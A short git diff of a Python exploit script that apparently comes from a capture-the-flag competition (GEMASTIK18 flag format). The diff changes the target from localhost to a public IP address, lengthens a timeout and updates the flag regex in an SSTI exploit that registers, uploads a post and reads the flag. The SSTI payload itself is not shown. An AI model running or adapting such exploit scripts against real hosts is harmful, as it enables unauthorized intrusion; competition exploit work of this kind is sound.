added patch notes

services/cdn/exploit/exp1.py

@@ -7,13 +7,13 @@ import requests
 
 print("SSTI (Vuln) Exploit — fixed HOST env, redirects, timeouts")
 
-HOST = "http://localhost:4500"
+HOST = "http://54.179.69.160:12000"
 REGISTER_URL = f"{HOST}/register"
 LOGIN_URL    = f"{HOST}/login"
 UPLOAD_URL   = f"{HOST}/upload"
 HOME_URL     = f"{HOST}/"
 
-TIMEOUT = float(os.environ.get("TIMEOUT", "1"))  # detik
+TIMEOUT = float(os.environ.get("TIMEOUT", "5"))  # detik
 
 def rnd(n=8):
     alpha = string.ascii_lowercase + string.digits
@@ -83,7 +83,7 @@ print(f"[+] Newest post: {post_url}")
 # 5) Trigger SSTI dan cari flag
 r = s.get(post_url, timeout=TIMEOUT)
 print(f"[i] Post -> {r.status_code}")
-m = re.search(r"GEMASTIK\{[^}]*\}", r.text)
+m = re.search(r"GEMASTIK18\{[^}]*\}", r.text)
 if m:
     print("[+] Flag:", m.group(0))
 else: